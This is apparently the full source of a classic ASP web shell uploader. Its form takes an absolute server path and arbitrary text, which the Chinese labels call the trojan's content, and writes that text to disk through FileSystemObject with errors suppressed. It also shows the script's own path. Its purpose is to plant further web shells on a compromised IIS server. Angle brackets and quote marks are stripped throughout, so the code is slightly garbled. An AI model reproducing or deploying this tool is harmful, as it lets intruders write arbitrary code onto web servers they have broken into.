% dim objFSO %
% dim fdata %
% dim objCountFile %
% on error resume next %
% Set objFSO = Server.CreateObject(Scripting.FileSystemObject) %
% if Trim(request(syfdpath)) then %
% fdata = request(cyfddata) %
% Set objCountFile=objFSO.CreateTextFile(request(syfdpath),True) %
% objCountFile.Write fdata %
% if err =0 then %
% response.write font color=redsave Success!font %
% else %
% response.write font color=redSave UnSuccess!font %
% end if %
% err.clear %
% end if %
% objCountFile.Close %
% Set objCountFile=Nothing %
% Set objFSO = Nothing %
% Response.write form action='' method=post %
% Response.write 保存文件的font color=red绝对路径(包括文件名如Dwebx.asp)font %
% Response.Write input type=text name=syfdpath width=32 size=50 %
% Response.Write br %
% Response.write 本文件绝对路径 %
% =server.mappath(Request.ServerVariables(SCRIPT_NAME)) %
% Response.write br %
% Response.write 输入马的内容 %
% Response.write textarea name=cyfddata cols=80 rows=10 width=32textarea %
% Response.write input type=submit value=保存 %
% Response.write form %